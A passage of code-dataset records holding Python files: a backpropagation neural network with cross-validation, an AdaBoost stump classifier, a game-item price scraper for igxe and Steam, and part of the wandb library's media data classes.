0\nfakta3[0:100] = 0\nfakta3[100:150] = 1\n\n\n\nteta1 = np.array([[0.1, 0.1, 0.1, 0.1], \n [0.1, 0.1, 0.1, 0.1],\n [0.1, 0.1, 0.1, 0.1]])\nbias1 = np.array([0.1,0.1,0.1])\n\nteta2 = np.array([[0.1, 0.1, 0.1], \n [0.1, 0.1, 0.1],\n [0.1, 0.1, 0.1]])\nbias2 = np.array([0.1,0.1,0.1])\n\ndatatrain = dataframe\n\n\n\ndef sigm(hasilh):\n try:\n ans = (1/(1+math.exp( -hasilh )))\n except OverflowError:\n ans = float('inf')\n return ans\n\n\n\ndef back_prop(training,teta1,bias1,teta2,bias2):\n\n error1 = 0\n error2 = 0\n error3 = 0\n \n for i in range(training.iloc[:,0].size):\n \n \n h11 = sum(training.iloc[i,4:8]*teta1[0,0:4]) + bias1[0]\n h12 = sum(training.iloc[i,4:8]*teta1[1,0:4]) + bias1[1]\n h13 = sum(training.iloc[i,4:8]*teta1[2,0:4]) + bias1[2]\n \n s11 = sigm(h11)\n s12 = sigm(h12)\n s13 = sigm(h13)\n \n\n dbias11 = 2*(s11 - training.iloc[i,0]) * (1-s11)*s11\n dw11 = dbias11 * training.iloc[i,4]\n dw14 = dbias11 * training.iloc[i,5]\n dw17 = dbias11 * training.iloc[i,6]\n dw110 = dbias11 * training.iloc[i,7]\n\n\n dbias12 = 2*(s12 - training.iloc[i,0]) * (1-s12)*s12\n dw12 = dbias12 * training.iloc[i,4]\n dw15 = dbias12 * training.iloc[i,5]\n dw18 = dbias12 * training.iloc[i,6]\n dw111 = dbias12 * training.iloc[i,7]\n\n dbias13 = 2*(s13 - training.iloc[i,0]) * (1-s13)*s13\n dw13 = dbias13 * training.iloc[i,4]\n dw16 = dbias13 * training.iloc[i,5]\n dw19 = dbias13 * training.iloc[i,6]\n dw112 = dbias13 * training.iloc[i,7]\n\n dw1 = np.array([[dw11, dw14, dw17, dw110],\n [dw12, dw15, dw18, dw111],\n [dw13, dw16, dw19, dw112]])\n \n dbias1 = np.array([dbias11, dbias12, dbias13])\n\n teta1 = teta1 - alpha * dw1\n bias1 = bias1 - alpha * dbias1\n\n h21 = s11 * teta2[0][0] + s12 * teta2[0][1] + s13 * teta2[0][2] + bias2[0]\n h22 = s11 * teta2[1][0] + s12 * teta2[1][1] + s13 * teta2[1][2] + bias2[1]\n h23 = s11 * teta2[2][0] + s12 * teta2[2][1] + s13 * teta2[2][2] + bias2[2]\n \n s21 = sigm(h21)\n s22 = sigm(h22)\n s23 = sigm(h23)\n\n \n error1 = error1 + (s21 - training.iloc[i,0])**2\n error2 = error2 + (s22 - training.iloc[i,1])**2\n error3 = error3 + (s23 - training.iloc[i,2])**2\n\n \n tau21 = 2*(s21 - training.iloc[i,0]) * (1-s21)*s21\n dw21 = tau21 * s11\n dw24 = tau21 * s12\n dw27 = tau21 * s13\n \n \n tau22 = 2*(s22 - training.iloc[i,1]) * (1-s22)*s22\n dw22 = tau22 * s11\n dw25 = tau22 * s12\n dw28 = tau22 * s13\n\n \n tau23 = 2*(s23 - training.iloc[i,2]) * (1-s23) * s23\n dw23 = tau23 * s11\n dw26 = tau23 * s12\n dw29 = tau23 * s13\n\n \n dw2 = np.array([[dw21, dw24, dw27],\n [dw22, dw25, dw28],\n [dw23, dw26, dw29]])\n \n dbias2 = np.array([tau21, tau22, tau23])\n\n \n \n teta2 = teta2 - alpha * dw2\n bias2 = bias2 - alpha * dbias2\n \n error = np.array([error1, error2,error3])\n error = error/(training.iloc[:,0].size)\n error = np.mean(error)\n \n return np.array([[error],[teta1, bias1, teta2, bias2]])\n\ndef prediksi(sigm):\n if sigm < 0.5:\n return 0\n else:\n return 1\n \ndef perhitunganakurasi(data1,data2):\n dataakurasi = np.zeros(data1.iloc[:,0].size, dtype=bool)\n #print (data1)\n #print (data2)\n #print( checking\n for i in range(data1.iloc[:,0].size):\n dataakurasi[i] = np.array_equal(data1.iloc[i].values, data2.iloc[i].values)\n \n return dataakurasi\n\ndef test(testing, params):\n theta1 = np.array(params[0])\n bias1 = np.array(params[1])\n theta2 = np.array(params[2])\n bias2 = np.array(params[3])\n \n prediksi1 = np.zeros(testing.iloc[:,0].size, dtype='int32')\n prediksi2 = np.zeros(testing.iloc[:,0].size, dtype='int32')\n prediksi3 = np.zeros(testing.iloc[:,0].size, dtype='int32')\n\n error1 = 0\n error2 = 0\n error3 = 0\n \n \n for i in range(testing.iloc[:,0].size):\n h11 = sum(testing.iloc[i,4:8]*theta1[0,0:4]) + bias1[0]\n h12 = sum(testing.iloc[i,4:8]*theta1[1,0:4]) + bias1[1]\n h13 = sum(testing.iloc[i,4:8]*theta1[2,0:4]) + bias1[2]\n \n s11 = sigm(h11)\n s12 = sigm(h12)\n s13 = sigm(h13)\n \n \n h21 = s11 * theta2[0][0] + s12 * theta2[0][1] + s13 * theta2[0][2] + bias2[0]\n h22 = s11 * theta2[1][0] + s12 * theta2[1][1] + s13 * theta2[1][2] + bias2[1]\n h23 = s11 * theta2[2][0] + s12 * theta2[2][1] + s13 * theta2[2][2] + bias2[2]\n\n \n s21 = sigm(h21)\n s22 = sigm(h22)\n s23 = sigm(h23)\n\n \n prediksi1[i] = prediksi(s21)\n prediksi2[i] = prediksi(s22)\n prediksi3[i] = prediksi(s23)\n \n error1 = error1 + (s21 - testing.iloc[i,0])**2\n error2 = error2 + (s22 - testing.iloc[i,1])**2\n error3 = error3 + (s23 - testing.iloc[i,2])**2\n \n \n error = np.array([error1, error2,error3])\n error = error/(testing.iloc[:,0].size)\n error = np.mean(error)\n\n predict_table = pd.DataFrame({'prediksi 1':prediksi1,\n 'prediksi 2':prediksi2,\n 'prediksi 3':prediksi3})\n \n \n conditional = perhitunganakurasi(testing.iloc[:,0:3], predict_table)\n\n unique, count = np.unique(conditional, return_counts=True)\n \n c = np.where(unique == True)\n if(c[0].size != 0): \n akurasi = (count[c[0][0]] / (testing.iloc[:,0].size)) * 100\n else:\n akurasi = 0\n \n return np.array([error,akurasi])\n\n\ndf = pd.DataFrame({'x1':x1,\n 'x2':x2,\n 'x3':x3,\n 'x4':x4,\n 'kelas':kelas,\n 'fakta 1':fakta1,\n 'fakta 2':fakta2,\n 'fakta 3':fakta3})\n\n\n\nerror_training_epoch = np.empty(100)\nerror_testing_epoch = np.empty(100)\nakurasi_epoch = np.empty(100)\n\nerror_training = 0\nerror_testing = 0\nakurasi = 0\n\n\ntesting = df.iloc[0:30]\ntraining = df.iloc[30:150]\n\n\n\ntraining_result = back_prop(training, teta1, bias1, teta2, bias2)\nerror_training = error_training + training_result[0][0]\n\ntesting_result = test(testing,training_result[1])\nerror_testing = error_testing + testing_result[0]\nakurasi = akurasi + testing_result[1]\n\n\nfor i in range(100):\n testing = df.iloc[30:60]\n training = df.iloc[0:30]\n training = training.append(df.iloc[60:150])\n\n \n training_result = back_prop(training,training_result[1][0],training_result[1][1],training_result[1][2],training_result[1][3])\n error_training = error_training + training_result[0][0]\n\n testing_result = test(testing,training_result[1])\n error_testing = error_testing + testing_result[0]\n akurasi = akurasi + testing_result[1]\n\n testing = df.iloc[60:90]\n training = df.iloc[0:60]\n training = training.append(df.iloc[90:150])\n \n training_result = back_prop(training,training_result[1][0],training_result[1][1],training_result[1][2],training_result[1][3])\n error_training = error_training + training_result[0][0]\n testing_result = test(testing,training_result[1])\n error_testing = error_testing + testing_result[0]\n akurasi = akurasi + testing_result[1]\n\n\n testing = df.iloc[90:120]\n training = df.iloc[0:90]\n training = training.append(df.iloc[120:150])\n\n\n \n training_result = back_prop(training,training_result[1][0],training_result[1][1],training_result[1][2],training_result[1][3])\n error_training = error_training + training_result[0][0]\n\n testing_result = test(testing,training_result[1])\n error_testing = error_testing + testing_result[0]\n akurasi = akurasi + testing_result[1]\n\n\n testing = df.iloc[120:150]\n training = df.iloc[0:120]\n\n \n training_result = back_prop(training,training_result[1][0],training_result[1][1],training_result[1][2],training_result[1][3])\n error_training = error_training + training_result[0][0]\n\n testing_result = test(testing,training_result[1])\n error_testing = error_testing + testing_result[0]\n akurasi = akurasi + testing_result[1]\n\n\n\n mean_error_training = error_training/5\n mean_error_testing = error_testing/5\n mean_akurasi = akurasi/5\n error_training_epoch[i] = mean_error_training\n error_testing_epoch[i] = mean_error_testing\n akurasi_epoch[i] = mean_akurasi\n \n if(i!=30):\n error_training = 0\n error_testing = 0\n akurasi = 0\n\n testing = df.iloc[0:30]\n training = df.iloc[30:150]\n \n training_result = back_prop(training,training_result[1][0],training_result[1][1],training_result[1][2],training_result[1][3])\n error_training = error_training + training_result[0][0]\n \n testing_result = test(testing,training_result[1])\n error_testing = error_testing + testing_result[0]\n akurasi = akurasi + testing_result[1]\n\n\n\nprint(error_training_epoch)\nprint(error_testing_epoch)\nprint(akurasi_epoch)\n\n\nplt.plot(error_training_epoch,'r',error_testing_epoch,'g')\nplt.show()\n","sub_path":"KodinganTugasUTS.py","file_name":"KodinganTugasUTS.py","file_ext":"py","file_size_in_byte":10209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540601601","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# author leo hao\n# os windows 7\nfrom numpy import *\n\n\ndef loadSimpData():\n dataMat = matrix([\n [1., 2.1],\n [2., 1.1],\n [1.3, 1.],\n [1., 1.],\n [1.1, 1.2],\n [2., 1.],\n [2.1, 1.2]\n ])\n classLabels = [1.0, 1.0, -1.0, -1.0, -1.0, 1.0, 1.0]\n return dataMat, classLabels\n\n\ndef stumpClassify(dataMatrix, dimen, threshVal, threshIneq):\n retArray = ones((shape(dataMatrix)[0], 1))\n if threshIneq == 'lt':\n retArray[dataMatrix[:, dimen] <= threshVal] = -1.0\n else:\n retArray[dataMatrix[:, dimen] > threshVal] = 1.0\n return retArray\n\n\ndef buildStump(dataArr, classLabels, D):\n dataMatrix = mat(dataArr)\n labelMat = mat(classLabels).T\n m, n = shape(dataMatrix)\n numSteps = 20.0\n bestStump = {}\n bestClassEst = mat(zeros((m, 1)))\n minError = inf\n for i in range(n):\n rangeMin = dataMatrix[:, i].min()\n rangeMax = dataMatrix[:, i].max()\n stepSize = (rangeMax - rangeMin) / numSteps\n for j in range(-1, int(numSteps) + 1):\n threshVal = rangeMin + float(j) * stepSize\n for inequal in ['lt', 'gt']:\n predictedVals = stumpClassify(dataMatrix, i, threshVal, inequal)\n errArr = mat(ones((m, 1)))\n errArr[predictedVals == labelMat] = 0\n weightedError = D.T * errArr\n # print('split: dim %d, thresh %.2f, thresh ineqal: %s, the weighted error is %.3f' % (i, threshVal, inequal, weightedError))\n if weightedError < (minError):\n minError = weightedError\n bestClassEst = predictedVals.copy()\n bestStump['dim'] = i\n bestStump['thresh'] = threshVal\n bestStump['ineq'] = inequal\n return bestStump, minError, bestClassEst\n\n\ndef adaBoostTrainDS(dataArr, classLabels, numIt=40):\n weakClassArr = []\n m = shape(dataArr)[0]\n D = mat(ones((m, 1)) / m)\n aggClassEst = mat(zeros((m, 1)))\n for i in range(numIt):\n bestStump, error, classEst = buildStump(dataArr, classLabels, D)\n # print(\"D:\", D.T)\n alpha = float(0.5 * log((1.0 - error) / max(error, 1e-16))) # 确保不会发生除0 溢出\n bestStump['alpha'] = alpha\n weakClassArr.append(bestStump)\n # print('classEst: ', classEst.T)\n expon = multiply(-1 * alpha * mat(classLabels).T, classEst)\n D = multiply(D, exp(expon))\n D = D / D.sum()\n aggClassEst += alpha * classEst\n # print('aggClassEst: ', aggClassEst.T)\n aggErrors = multiply(sign(aggClassEst) != mat(classLabels).T, ones((m, 1)))\n errorRate = aggErrors.sum() / m\n # print('total error: ', errorRate, \"\\n\")\n if errorRate == 0.0:\n break\n return weakClassArr\n\n\ndef adaClassify(dataToClass, classifierArr):\n dataMat = mat(dataToClass)\n m = shape(dataMat)[0]\n aggClassEst = mat(zeros((m, 1)))\n for i in range(len(classifierArr)):\n classEst = stumpClassify(dataMat, classifierArr[i]['dim'], classifierArr[i]['thresh'], classifierArr[i]['ineq'])\n aggClassEst += classifierArr[i]['alpha'] * classEst\n # print('adaClassify aggClassEst: ', aggClassEst)\n return sign(aggClassEst)\n\n\ndef loadDataSet(fileName):\n numFeat = len(open(fileName).readline().split('\\t'))\n dataMat = []\n labelMat = []\n fr = open(fileName)\n for line in fr.readlines():\n lineArr = []\n curLine = line.strip().split('\\t')\n for i in range(numFeat - 1):\n lineArr.append(float(curLine[i]))\n dataMat.append(lineArr)\n labelMat.append(float(curLine[-1]))\n return mat(dataMat), mat(labelMat)\n\n\ndef testHorse(numIt=50):\n dataMat, labelMat = loadDataSet('horseColicTest2.txt')\n classifierArray = adaBoostTrainDS(dataMat, labelMat, numIt)\n testMat, testLabelMat = loadDataSet('horseColicTraining2.txt')\n prediction = adaClassify(testMat, classifierArray)\n dataCount = len(testLabelMat.T)\n errArr = mat(ones((dataCount, 1)))\n errorSum = errArr[prediction != mat(testLabelMat).T].sum()\n print('errorSum: ', errorSum)\n print('errorRate: ', errorSum / dataCount)\n\n\nif __name__ == '__main__':\n dataMat, classLabels = loadSimpData()\n # 1.test\n # D = mat(ones((7, 1)) / 7)\n # bestStump, minError, bestClassEst = buildStump(dataMat, classLabels, D)\n # print(bestStump)\n # print(minError)\n # print(bestClassEst)\n # 2.test\n # classifierArray = adaBoostTrainDS(dataMat, classLabels, 9)\n # print('classifierArray: ', classifierArray)\n # classLabel = adaClassify([[0, 1.5]], classifierArray)\n # print('classLabel: ', classLabel)\n # 3.test\n testHorse(50)\n pass\n","sub_path":"Ch07/adaboost.py","file_name":"adaboost.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"416080571","text":"# -*- coding: utf-8 -*-\n# @Author: susanoo\n# @Date: 2018-09-26 14:22:25\n# @Last Modified by: Tabsusanoo\n# @Last Modified time: 2018-09-27 17:31:01\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport xlwt\nimport time\n\n\ndef getData(urls):\n\t# 创建空的饰品集合列表\n\treturnData = []\n\tfor url in urls:\n\t\t# 获取url集合里面的每个链接,分别爬取其中需要的数据\n\t\tr = requests.get(url)\n\t\tsoup = BeautifulSoup(r.text, \"lxml\")\n\t\ttag = soup.find_all(\"a\", \"single csgo\")\n\t\t# 获取到武器卡片的列表,遍历其中每个饰品,获取其中的饰品名称,价格及库存,将这三个属性保存到一个元祖当中,再将这个元祖保存到一个列表\n\t\tfor key in tag:\n\t\t\t# 新建一个新的空列表用于存放单个饰品信息\n\t\t\tweapon = []\n\t\t\titemName = key.find(\"div\", \"name\").text\n\t\t\titemAmount = key.find(\"div\", \"sum fr\").text\n\t\t\titemPrice = key.find(\"span\").text + key.find(\"sub\").text\n\t\t\tweapon.append(itemName)\n\t\t\tweapon.append(itemAmount)\n\t\t\tweapon.append(itemPrice)\n\t\t\t# 将完整的单个饰品信息添加到饰品集合中\n\t\t\treturnData.append(weapon)\n\t# 返回饰品集合\n\treturn returnData\n\n# creating igxeURLlist\nigxeurllist = []\nfor i in range(12):\n\tigxeurllist.append('https://www.igxe.cn/pubg/578080?page_no='+str(i+1))\n\n# 获取igxe中的名称数量及价格\nigxelist = getData(igxeurllist)\n# # to show igxe infos in my syntax\n# for single in igxelist:\n# \tprint(single[0] + ' | ' + single[1] + ' | ' + single[2])\n# 将饰品名称与网站链接拼接成steam市场的商品链接\n\nsteamurllist = []\nfor single in igxelist:\n\turl = 'https://steamcommunity.com/market/listings/578080/' + single[0]\n\t# print(url)\n\tsteamurllist.append(url)\n\n# print(steamurllist)\n\n# for url in steamurllist:\np = {\n\t'http': 'socks5://127.0.0.1:1086',\n\t'https': 'socks5://127.0.0.1:1086'\n}\nr = requests.get('https://steamcommunity.com/market/listings/578080/Baggy%20Pants%20(Brown)', proxies = p)\nsoup = BeautifulSoup(r.text, \"lxml\")\nbuyfield = soup.get_text()\nprint(buyfield)\n\t# sellfield = soup.find_all(\"div\", class_=\"market_commodity_orders_block\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# # creating steamURLlist\n# steamurllist = []\n# for i in range(29):\n# \tsteamurllist.append('https://steamcommunity.com/market/search?appid=578080#p' + str(i+1) + '_price_desc')\n\n# # 创建空的饰品集合列表\n# steamlist = []\n# p = {\n# \t'http': 'socks5://127.0.0.1:1086',\n# \t'https': 'socks5://127.0.0.1:1086'\n# }\n# # r = requests.get('https://steamcommunity.com/market/search?appid=578080#p2_price_desc', proxies = p)\n# # soup = BeautifulSoup(r.text, \"lxml\")\n# # result = soup.find(id=\"result_0\")\n# # iName = soup.find(id=\"result_0_name\").get_text()\n# # iSto = ''\n# # iPrice = ''\n# # print(result.get_text())\n# # print(r.text)\n\n# # for url in steamurllist:\n# # \t# 获取url集合里面的每个链接,分别爬取其中需要的数据\n# # \ttime.sleep(1)\n# # \tr = requests.get(url)\n# \t# soup = BeautifulSoup(r.text, \"lxml\")\n# \t# tag = soup.find_all(\"a\", \"single csgo\")\n# \t# # 获取到武器卡片的列表,遍历其中每个饰品,获取其中的饰品名称,价格及库存,将这三个属性保存到一个元祖当中,再将这个元祖保存到一个列表\n# \t# for key in tag:\n# \t# \t# 新建一个新的空列表用于存放单个饰品信息\n# \t# \tweapon = []\n# \t# \titemName = key.find(\"div\", \"name\").text\n# \t# \titemAmount = key.find(\"div\", \"sum fr\").text\n# \t# \titemPrice = key.find(\"span\").text + key.find(\"sub\").text\n# \t# \tweapon.append(itemName)\n# \t# \tweapon.append(itemAmount)\n# \t# \tweapon.append(itemPrice)\n# \t# \t# 将完整的单个饰品信息添加到饰品集合中\n# \t# \tsteamlist.append(weapon)\n# \t# # 返回饰品集合\n\n\n\n\n","sub_path":"requests/spider_03.py","file_name":"spider_03.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"34402571","text":"\"\"\"Wandb has special data types for logging rich visualizations. \n\nAll of the special data types are subclasses of WBValue. All of the data types \n serialize to JSON, since that is what wandb uses to save the objects locally \n and upload them to the W&B server.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport hashlib\nimport itertools\nimport json\nimport pprint\nimport shutil\nfrom six.moves import queue\nimport warnings\n\nimport collections\nimport os\nimport io\nimport logging\nimport six\nimport wandb\nimport uuid\nimport json\nimport codecs\nimport tempfile\nfrom wandb import util\nfrom wandb.compat import tempfile\n\n# Get rid of cleanup warnings in Python 2.7.\nwarnings.filterwarnings('ignore', 'Implicitly cleaning up', RuntimeWarning, 'wandb.compat.tempfile')\n\n# Staging directory so we can encode raw data into files, then hash them before\n# we put them into the Run directory to be uploaded.\nMEDIA_TMP = tempfile.TemporaryDirectory('wandb-media')\n\nDATA_FRAMES_SUBDIR = os.path.join('media', 'data_frames')\n\nclass WBValue(object):\n \"\"\"Abstract parent class for things that can be logged by wandb.log() and \n visualized by wandb. \n\n The objects will be serialized as JSON and always have a _type attribute \n that indicates how to interpret the other fields.\n\n Returns:\n JSON-friendly `dict` representation of this object that can later be\n serialized to a string.\n \"\"\"\n def __init__(self):\n pass\n\n def to_json(self, run):\n \"\"\"\n \"\"\"\n raise NotImplementedError\n\nclass Histogram(WBValue):\n \"\"\"\n wandb class for histograms\n\n This object works just like numpy's histogram function \n https://docs.scipy.org/doc/numpy/reference/generated/numpy.histogram.html\n\n Examples:\n Generate histogram from a sequence\n ```\n wandb.Histogram([1,2,3])\n ```\n\n Efficiently initialize from np.histogram.\n ```\n hist = np.histogram(data)\n wandb.Histogram(np_histogram=hist)\n ```\n\n Arguments:\n sequence (array_like): input data for histogram\n np_histogram (numpy histogram): alternative input of a precoomputed histogram\n num_bins (int): Number of bins for the histogram. The default number of bins\n is 64. The maximum number of bins is 512\n\n Attributes:\n bins ([float]): edges of bins\n histogram ([int]): number of elements falling in each bin\n \"\"\"\n MAX_LENGTH = 512\n\n def __init__(self, sequence=None, np_histogram=None, num_bins=64):\n\n if np_histogram:\n if len(np_histogram) == 2:\n self.histogram = np_histogram[0]\n self.bins = np_histogram[1]\n else:\n raise ValueError(\n 'Expected np_histogram to be a tuple of (values, bin_edges) or sequence to be specified')\n else:\n np = util.get_module(\n \"numpy\", required=\"Auto creation of histograms requires numpy\")\n\n self.histogram, self.bins = np.histogram(\n sequence, bins=num_bins)\n self.histogram = self.histogram.tolist()\n self.bins = self.bins.tolist()\n if len(self.histogram) > self.MAX_LENGTH:\n raise ValueError(\n \"The maximum length of a histogram is %i\" % self.MAX_LENGTH)\n if len(self.histogram) + 1 != len(self.bins):\n raise ValueError(\"len(bins) must be len(histogram) + 1\")\n\n def to_json(self, run=None):\n return {\"_type\": \"histogram\", \"values\": self.histogram, \"bins\": self.bins}\n\n\nclass Table(WBValue):\n \"\"\"This is a table designed to display small sets of records.\n\n Arguments:\n columns ([str]): Names of the columns in the table. \n Defaults to [\"Input\", \"Output\", \"Expected\"].\n data (array): 2D Array of values that will be displayed as strings.\n \"\"\"\n MAX_ROWS = 300\n\n def __init__(self, columns=[\"Input\", \"Output\", \"Expected\"], data=None, rows=None):\n \"\"\"rows is kept for legacy reasons, we use data to mimic the Pandas api\n \"\"\"\n self.columns = columns\n self.data = list(rows or data or [])\n\n def add_row(self, *row):\n logging.warning(\"add_row is deprecated, use add_data\")\n self.add_data(*row)\n\n def add_data(self, *data):\n if len(data) != len(self.columns):\n raise ValueError(\"This table expects {} columns: {}\".format(\n len(self.columns), self.columns))\n self.data.append(list(data))\n\n def to_json(self, run=None):\n if len(self.data) > Table.MAX_ROWS:\n logging.warn(\n \"The maximum number of rows to display per step is %i.\" % Table.MAX_ROWS)\n return {\"_type\": \"table\", \"columns\": self.columns, \"data\": self.data[:Table.MAX_ROWS]}\n\n\nclass Media(WBValue):\n \"\"\"A WBValue that we store as a file outside JSON and show in a media panel\n on the front end.\n\n If necessary, we move or copy the file into the Run's media directory so that it gets\n uploaded.\n \"\"\"\n\n def __init__(self, path, is_tmp=False, extension=None):\n self._path = path\n self._is_tmp = is_tmp\n self._extension = extension\n if extension is not None and not path.endswith(extension):\n raise ValueError('Media file extension \"{}\" must occur at the end of path \"{}\".'.format(extension, path))\n\n self._sha256 = hashlib.sha256(open(self._path, 'rb').read()).hexdigest()\n self._size = os.path.getsize(self._path)\n\n # The run under which this object is bound, if any.\n self._run = None\n\n @classmethod\n def get_media_subdir(cls):\n raise NotImplementedError\n\n def is_bound(self):\n return self._run is not None\n\n def bind_to_run(self, run, key, step, id_=None):\n \"\"\"Bind this object to a particular Run.\n\n Calling this function is necessary so that we have somewhere specific to\n put the file associated with this object, from which other Runs can\n refer to it.\n \"\"\"\n if run is None:\n raise TypeError('Argument \"run\" must not be None.')\n if self.is_bound():\n raise RuntimeError('Value is already bound to a Run: {}'.format(self))\n self._run = run\n\n # This is a flawed way of checking whether the file is already in\n # the Run directory. It'd be better to check the actual directory\n # components.\n if not os.path.realpath(self._path).startswith(os.path.realpath(self._run.dir)):\n base_path = os.path.join(self._run.dir, self.get_media_subdir())\n\n if self._extension is None:\n rootname, extension = os.path.splitext(os.path.basename(self._path))\n else:\n extension = self._extension\n rootname = os.path.basename(self._path)[:-len(extension)]\n\n if self._is_tmp:\n if id_ is None:\n id_ = self._sha256[:8]\n\n new_path = os.path.join(base_path, '{}_{}_{}{}'.format(key, step, id_, extension))\n util.mkdir_exists_ok(os.path.dirname(new_path))\n\n shutil.move(self._path, new_path)\n\n self._path = new_path\n self._is_tmp = False\n else:\n new_path = os.path.join(base_path, '{}_{}{}'.format(rootname, self._sha256[:8], extension))\n util.mkdir_exists_ok(os.path.dirname(new_path))\n shutil.copy(self._path, new_path)\n self._path = new_path\n\n def to_json(self, run):\n \"\"\"Get the JSON-friendly dict that represents this object.\n\n Only works if `self.bind_to_run()` has previously been called.\n\n The resulting dict lets you load this object into other W&B runs.\n \"\"\"\n if not self.is_bound():\n raise RuntimeError('Value of type {} must be bound to a run with bind_to_run() before being serialized to JSON.'.format(type(self).__name__))\n\n assert self._run is run, \"For now we don't support referring to media files across runs.\"\n\n return {\n '_type': 'file', # TODO(adrian): This isn't (yet) a real media type we support on the frontend.\n 'path': os.path.relpath(self._path, self._run.dir), # TODO(adrian): Convert this to a path with forward slashes.\n 'sha256': self._sha256,\n 'size': self._size,\n #'entity': self._run.entity,\n #'project': self._run.project_name(),\n #'run': self._run.name,\n }\n\n\nclass BatchableMedia(Media):\n \"\"\"Parent class for Media we treat specially in batches, like images and\n thumbnails.\n\n Apart from images, we just use these batches to help organize files by name\n in the media directory.\n \"\"\"\n @classmethod\n def seq_to_json(self, seq, run, key, step):\n raise NotImplementedError\n\n\nclass Audio(BatchableMedia):\n \"\"\"\n Wandb class for audio clips.\n\n Args:\n data_or_path (string or numpy array): A path to an audio file\n or a numpy array of audio data.\n sample_rate (int): Sample rate, required when passing in raw\n numpy array of audio data.\n caption (string): Caption to display with audio. \n \"\"\"\n def __init__(self, data_or_path, sample_rate=None, caption=None):\n \"\"\"Accepts a path to an audio file or a numpy array of audio data. \n \"\"\"\n self._duration = None\n self._sample_rate = sample_rate\n self._caption = caption\n\n if isinstance(data_or_path, six.string_types):\n super(Audio, self).__init__(data_or_path, is_tmp=False)\n else:\n if sample_rate == None:\n raise ValueError('Argument \"sample_rate\" is required when instantiating wandb.Audio with raw data.')\n\n soundfile = util.get_module(\n \"soundfile\", required='Raw audio requires the soundfile package. To get it, run \"pip install soundfile\"')\n\n tmp_path = os.path.join(MEDIA_TMP.name, util.generate_id() + '.wav')\n soundfile.write(tmp_path, data_or_path, sample_rate)\n self._duration = len(data_or_path) / float(sample_rate)\n\n super(Audio, self).__init__(tmp_path, is_tmp=True)\n\n @classmethod\n def get_media_subdir(cls):\n return os.path.join('media', 'audio')\n\n def to_json(self, run):\n json_dict = super(Audio, self).to_json(run)\n json_dict.update({\n '_type': 'audio-file',\n 'sample_rate': self._sample_rate,\n 'caption': self._caption,\n })\n return json_dict\n\n @classmethod\n def seq_to_json(cls, seq, run, key, step):\n audio_list = list(seq)\n for audio in audio_list:\n if not audio.is_bound():\n audio.bind_to_run(run, key, step)\n\n sf = util.get_module(\n \"soundfile\", required=\"wandb.Audio requires the soundfile package. To get it, run: pip install soundfile\")\n base_path = os.path.join(run.dir, \"media\", \"audio\")\n util.mkdir_exists_ok(base_path)\n meta = {\n \"_type\": \"audio\",\n \"count\": len(audio_list),\n 'audio': [a.to_json(run) for a in audio_list],\n }\n sample_rates = cls.sample_rates(audio_list)\n if sample_rates:\n meta[\"sampleRates\"] = sample_rates\n durations = cls.durations(audio_list)\n if durations:\n meta[\"durations\"] = durations\n captions = cls.captions(audio_list)\n if captions:\n meta[\"captions\"] = captions\n\n return meta\n\n @classmethod\n def durations(cls, audio_list):\n return [a._duration for a in audio_list]\n\n @classmethod\n def sample_rates(cls, audio_list):\n return [a._sample_rate for a in audio_list]\n\n @classmethod\n def captions(cls, audio_list):\n captions = [a._caption for a in audio_list]\n if all(c is None for c in captions):\n return False\n else:\n return ['' if c == None else c for c in captions]\n\n\ndef is_numpy_array(data):\n np = util.get_module(\n \"numpy\", required=\"Logging raw point cloud data requires numpy\")\n return isinstance(data, np.ndarray)\n\n\nclass Object3D(BatchableMedia):\n \"\"\"\n Wandb class for 3D point clouds.\n\n Args:\n data_or_path (numpy array | string | io ):\n Object3D can be initialized from a file or a numpy array.\n\n The file types supported are obj, gltf, babylon, stl. You can pass a path to \n a file or an io object and a file_type which must be one of `'obj', 'gltf', 'babylon', 'stl'`.\n\n The shape of the numpy array must be one of either:\n ```\n [[x y z], ...] nx3\n [x y z c], ...] nx4 where c is a category with supported range [1, 14]\n [x y z r g b], ...] nx4 where is rgb is color\n ``` \n \n \"\"\"\n\n\n SUPPORTED_TYPES = set(['obj', 'gltf', 'babylon', 'stl'])\n\n def __init__(self, data_or_path, **kwargs):\n\n if hasattr(data_or_path, 'name'):\n # if the file has a path, we just detect the type and copy it from there\n data_or_path = data_or_path.name\n\n if hasattr(data_or_path, 'read'):\n if hasattr(data_or_path, 'seek'):\n data_or_path.seek(0)\n object3D = data_or_path.read()\n\n extension = kwargs.pop(\"file_type\", None)\n if extension == None:\n raise ValueError(\n \"Must pass file type keyword argument when using io objects.\")\n if extension not in Object3D.SUPPORTED_TYPES:\n raise ValueError(\"Object 3D only supports numpy arrays or files of the type: \" +\n \", \".join(Object3D.SUPPORTED_TYPES))\n\n tmp_path = os.path.join(MEDIA_TMP.name, util.generate_id() + '.' + extension)\n with open(tmp_path, \"w\") as f:\n f.write(object3D)\n\n super(Object3D, self).__init__(tmp_path, is_tmp=True)\n elif isinstance(data_or_path, six.string_types):\n path = data_or_path\n try:\n extension = os.path.splitext(data_or_path)[1][1:]\n except:\n raise ValueError(\n \"File type must have an extension\")\n if extension not in Object3D.SUPPORTED_TYPES:\n raise ValueError(\"Object 3D only supports numpy arrays or files of the type: \" +\n \", \".join(Object3D.SUPPORTED_TYPES))\n\n super(Object3D, self).__init__(data_or_path, is_tmp=False)\n elif is_numpy_array(data_or_path):\n data = data_or_path\n\n if len(data.shape) != 2 or data.shape[1] not in {3, 4, 6}:\n raise ValueError(\"\"\"The shape of the numpy array must be one of either\n [[x y z], ...] nx3\n [x y z c], ...] nx4 where c is a category with supported range [1, 14]\n [x y z r g b], ...] nx4 where is rgb is color\"\"\")\n\n data = data.tolist()\n tmp_path = os.path.join(MEDIA_TMP.name, util.generate_id() + '.pts.json')\n json.dump(data, codecs.open(tmp_path, 'w', encoding='utf-8'),\n separators=(',', ':'), sort_keys=True, indent=4)\n super(Object3D, self).__init__(tmp_path, is_tmp=True, extension='.pts.json')\n else:\n raise ValueError(\"data must be a numpy or a file object\")\n\n @classmethod\n def get_media_subdir(self):\n 